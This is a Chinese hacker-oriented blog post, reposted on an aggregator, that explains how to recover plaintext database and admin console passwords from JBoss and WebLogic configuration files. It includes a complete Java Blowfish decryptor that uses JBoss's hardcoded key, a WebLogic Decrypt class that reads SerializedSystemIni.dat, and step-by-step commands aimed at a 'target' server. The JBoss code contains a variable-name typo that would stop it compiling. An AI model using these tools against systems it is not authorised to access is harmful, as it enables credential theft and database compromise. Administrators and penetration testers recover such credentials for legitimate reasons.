解密JBoss和Weblogic数据源连接字符串和控制台密码

Posted 黑白之道

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了解密JBoss和Weblogic数据源连接字符串和控制台密码相关的知识,希望对你有一定的参考价值。

【新朋友点击标题下面蓝字「黑白之道」关注

老朋友点击右上角,分享或收藏本页精彩内容

  0x00 背景

  现在越来越多的站喜欢用java语言的框架做web应用了,这里应用有很多大型站点经常采用jboss或者weblogic做web服务器。出于安 全原因,他们都提供把数据源连接密码以及web服务器后台密码的功能,jboss用的是blowfish,weblogic旧版的算法一般为 3DES,新版的则都是AES。

  这几种算法都是可逆的,因为在web服务器连接到数据库的时候还是要把密码成明文之后发过去或者和challenge运算的,所以我们有了 两个突破口,第一个就是,后的明文密码必然保留在内存中,如果把web服务器的内存dump下来分析是肯定可以找到明文密码的,这个方法在前段时 间hip发的memory forensic文章里有涉及到。第二个方法就是,调用服务器程序自身的函数,让它把明文echo出来。

  0x01 JBoss

  jboss的数据库连接密码一般存在

以下是代码片段:
%JBOSS_HOME%\server\%appname%\deploy

  下面的各种xml里面,比如oracle的是oracle-ds.xml,mysql是mysql-ds.xml…… 在没有的情况下,密码是这么保存的:

以下是代码片段:
<jndi-name>OracleDS</jndi-name>   //jndi名字
<use-java-context>false</use-java-context>
<connection-url>jdbc:oracle:thin:@localhost:1521:orcl</connection-url>  //URL地址
<driver-class>oracle.jdbc.driver.OracleDriver</driver-class>  //驱动
<user-name>root</user-name>    //用户名
<password>123456</password>  //密码


  在配置完密码后,这个文件里要么没有username和password,要么被comment掉了。下面多了个EncryptDBPassword

  加密后的密码存在jboss目录的conf/login-config.xml文件里:


以下是代码片段:
<application-policy name="EncryptDBPassword">
    <authentication>
        <login-module code="org.jboss.resource.security.SecureIdentityLoginModule" flag="required">
            <module-option name="username">admin</module-option>
            <module-option name="password">5dfc52b51bd35553df8592078de921bc</module-option>
            <module-option name="managedConnectionFactoryName">jboss.jca:name=PostgresDS,service=LocalTxCM</module-option>
        </login-module>
    </authentication>
</application-policy>


  5dfc52b51bd35553df8592078de921bc就是加密后的密文了,有的时候前面还有个符号,也是密文的一部分。

  jboss用来加密的key是明文硬编码在jboss源码里的,key是jaas is the way

  过程:

  找个能编译java的环境或者在线的java编译执行网站:编译以下代码:


以下是代码片段:
import java.math.BigInteger;

/*
* JBoss.java - Blowfish encryption/decryption tool with JBoss default password
*    Daniel Martin Gomez <daniel @ ngssoftware.com> - 03/Sep/2009
*
* This file may be used under the terms of the GNU General Public License
* version 2.0 as published by the Free Software Foundation:
*   http://www.gnu.org/licenses/gpl-2.0.html
*/
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;


public class JBoss {
    public static void main(String[] args) throws Exception {
        if ((args.length != 2) ||
                !(args[0].equals("-e") | args[0].equals("-d"))) {
            System.out.println(
                "Usage:\n\tjava JBoss <-e|-d> <encrypted_password>");

            return;
        }

        String mode = args[0];

        byte[] kbytes = "jaas is the way".getBytes();
        SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish");
        Cipher cipher = Cipher.getInstance("Blowfish");

        String out = null;

        if (mode.equals("-e")) {
            String secret = args[1];
            cipher.init(Cipher.ENCRYPT_MODE, key);

            byte[] eoding = cipher.doFinal(secret.getBytes());
            out = new BigInteger(encoding).toString(16);
        } else {
            BigInteger secret = new BigInteger(args[1], 16);
            cipher.init(Cipher.DECRYPT_MODE, key);

            byte[] eoding = cipher.doFinal(secret.toByteArray());
            out = new String(encoding);
        }

        System.out.println(out);
    }
}

编译后执行,用 -d参数解密,比如

java JBoss -d 5dfc52b51bd35553df8592078de921bc


  就会返回明文密码。

  0x02 Weblogic解密

  weblogic要稍微复杂一些,jboss的加密函数是java代码里面的,但是weblogic是自己写的,所以解密程序也需要调用 weblogic的代码包。WebLogic 11gR1后采用了AES的加密方式,之前的版本采用的DES加密方式。另外,每个Weblogic app的加密key都是随机生成的,所以不同服务器甚至同服务器不同应用上的weblogic都是用不同的密码加密的,这一点上比jboss安全很多。但 是,毕竟连数据库的时候还是要还原,所以还是可以解密的。解密过程如下:

  加密key都保存在securitySerializedSystemIni.dat 文件中,比如

  weblogic安装目录

以下是代码片段:
\user_projects\domains\APPNAME\securitySerializedSystemIni.dat  


  有些版本是放到security目录里的,一个应用里面只会有一个这个文件,find一下就找到了。

  找到后把它复制到其他的文件夹,比如\tmp下面

  在这个文件夹下新建一个java文件,Decrypt.java,名字不能错,必须和内容的class名字一样。

以下是代码片段:
import weblogic.security.internal.*;
import weblogic.security.internal.encryption.*;

import java.io.PrintStream;


public class Decrypt {
    static EncryptionService es = null;
    static ClearOrEncryptedService ces = null;

    public static void main(String[] args) {
        String s = null;

        if (args.length == 0) {
            s = ServerAuthenticate.promptValue("Password: ", false);
        } else if (args.length == 1) {
            s = args[0];
        } else {
            System.err.println("Usage: java Decrypt [ password ]");
        }

        es = SerializedSystemIni.getExistingEncryptionService();

        if (es == null) {
            System.err.println("Unable to initialize encryption service");

            return;
        }

        ces = new ClearOrEncryptedService(es);

        if (s != null) {
            System.out.println("\nDecrypted Password is:" + ces.decrypt(s));
        }
    }
}


  根据目标的操作系统,在weblogic目录中找到setWLSEnv.cmd 或者 setWLSEnv.sh 并且执行。执行后会出来一长串环境变量,分别是CLASSPATH和PATH。但是有些情况下这些环境变量没有加进去,所以还需要执行一下(linux 下,windows一般不会出现这个情况)

以下是代码片段:
export $CLASSPATH  


  如果这个命令执行完也出来一串东西,那就说明环境变量设置正确,如果没有的话,则需要在shell里手动执行。把之前执行setWLSEnv.sh 出来的两个环境变量分别复制然后 export一下就行。再执行以下export $CLASSPATH确认是否加上了。成功后就可以进行下一步了。

  weblogic的数据库字符串一般存在weblogic下面应用目录的conf里面,也是xml格式,加密后的密码格式为

以下是代码片段:
{AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=


  或者

以下是代码片段:
{3DES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=  


  到之前放Decrypt.java的目录执行 javac Decrypt.java 然后执行 java Decrypt 加密后密码,比如

以下是代码片段:
java Decrypt {AES}JBkrUhrV6q2aQDnPA2DWnUuZWLxzKz9vBMFfibzYAb8=  


  执行完后就会告诉你 Decrypted Password is : weblogic

  weblogic的控制台密码也是用同样的方式加密的。


----------------------------------
要闻、干货、原创、专业
关注“黑白之道” 微信:i77169
华夏黑客同盟我们坚持,自由,免费,共享!


以上是关于解密JBoss和Weblogic数据源连接字符串和控制台密码的主要内容,如果未能解决你的问题,请参考以下文章

tomcat,Jboss,weblogic区别与比较

Tomcat、WebLogic、Websphere、Jboss为啥被称作中间件?应怎么理解?

web工程迁移---weblogic8迁移到jboss5遇到的异常

apache、jboss、tomcat、weblogic、websphere几者的区别和关系,还有运用场景。特别是运用场景。

配置weblogic时不能输入密码

应用程序服务器(如 jboss 或 weblogic)是不是可以每 'n' 次调用一些方法